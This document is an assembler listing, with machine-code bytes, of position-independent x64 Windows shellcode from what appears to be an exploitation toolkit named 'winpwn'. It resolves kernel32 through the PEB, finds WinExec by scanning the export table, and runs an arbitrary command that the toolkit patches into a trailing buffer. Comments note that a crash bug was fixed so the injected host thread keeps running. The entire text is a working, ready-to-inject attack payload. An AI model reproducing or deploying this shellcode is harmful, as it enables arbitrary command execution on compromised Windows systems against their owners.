1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's 2 ; base via the PEB (no leak/hardcoded address needed), find WinExec by 3 ; name, and run a command. Returns normally (ret) so the host thread keeps 4 ; running afterward. 5 ; 6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob; 7 ; winpwn patches it at runtime with the actual NUL-terminated command 8 ; (see shellcraft.go). 9 BITS 64 10 default rel 11 12 start: 13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64 14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte 15 ; alignment below and still land exactly back on the real return 16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore 17 ; before `ret` pops whatever garbage is sitting at the shifted address 18 ; instead of the caller's actual return address — that's the bug this 19 ; replaced (verified by crash: rip ended up pointing into the Go 20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves 21 ; behind). 22 00000000 55 push rbp 23 00000001 4154 push r12 24 00000003 4889E5 mov rbp, rsp 25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state 26 27 0000000A E82F000000 call get_kernel32_base 28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base 29 30 00000012 4C89E1 mov rcx, r12 31 00000015 488D15C7000000 lea rdx, [rel name_winexec] 32 0000001C E839000000 call find_export 33 ; rax = WinExec address 34 35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf] 36 00000028 BA05000000 mov edx, 5 ; SW_SHOW 37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call 38 00000031 FFD0 call rax 39 00000033 4883C420 add rsp, 0x20 40 41 00000037 4889EC mov rsp, rbp 42 0000003A 415C pop r12 43 0000003C 5D pop rbp 44 0000003D C3 ret 45 46 %include "resolver.inc" 1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn 2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded 3 <1> ; addresses) and resolve any export by name (no hashing, just a linear 4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of 5 <1> ; one-shot resolutions). 6 <1> ; 7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish, 8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every 9 <1> ; non-volatile register they touch, so callers can keep values live in 10 <1> ; r12-r15 across calls to either of these. 11 <1> 12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address 13 <1> ; 14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running 15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this 16 <1> ; fixed load order is the same trick essentially every public Windows x64 17 <1> ; shellcode relies on. 18 <1> get_kernel32_base: 19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64) 20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr 21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks 22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll) 23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll) 24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks) 25 00000059 C3 <1> ret 26 <1> 27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name) 28 <1> ; -> RAX = absolute address of the export, or 0 if not found. 29 <1> ; 30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each 31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and 32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical 33 <1> ; DataDirectory[0] (export table) offset for PE32+. 34 <1> find_export: 35 0000005A 4154 <1> push r12 36 0000005C 4155 <1> push r13 37 0000005E 4156 <1> push r14 38 00000060 4157 <1> push r15 39 00000062 56 <1> push rsi 40 00000063 57 <1> push rdi 41 00000064 53 <1> push rbx 42 <1> 43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine) 44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved) 45 <1> 46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew 47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA 48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress) 49 00000079 4C01E0 <1> add rax, r12 50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA 51 <1> 52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames 53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA 54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings) 55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA 56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals) 57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA 58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code) 59 <1> 60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i 61 <1> 62 <1> .loop: 63 0000009B 4939DF <1> cmp r15, rbx 64 0000009E 7D34 <1> jge .notfound 65 <1> 66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i 67 000000A4 4C01E0 <1> add rax, r12 68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA 69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt) 70 <1> 71 <1> .cmp_loop: 72 000000AD 8A06 <1> mov al, [rsi] 73 000000AF 8A0F <1> mov cl, [rdi] 74 000000B1 38C8 <1> cmp al, cl 75 000000B3 750C <1> jne .next 76 000000B5 84C0 <1> test al, al 77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match 78 000000B9 48FFC6 <1> inc rsi 79 000000BC 48FFC7 <1> inc rdi 80 000000BF EBEC <1> jmp .cmp_loop 81 <1> 82 <1> .next: 83 000000C1 49FFC7 <1> inc r15 84 000000C4 EBD5 <1> jmp .loop 85 <1> 86 <1> .found: 87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i 88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA 89 000000CF 4C01E0 <1> add rax, r12 ; absolute address 90 000000D2 EB03 <1> jmp .done 91 <1> 92 <1> .notfound: 93 000000D4 4831C0 <1> xor rax, rax 94 <1> 95 <1> .done: 96 000000D7 5B <1> pop rbx 97 000000D8 5F <1> pop rdi 98 000000D9 5E <1> pop rsi 99 000000DA 415F <1> pop r15 100 000000DC 415E <1> pop r14 101 000000DE 415D <1> pop r13 102 000000E0 415C <1> pop r12 103 000000E2 C3 <1> ret 47 48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0 49 50 000000EB 90 align 8 51 cmd_buf: 52 000000F0 00 times 260 db 0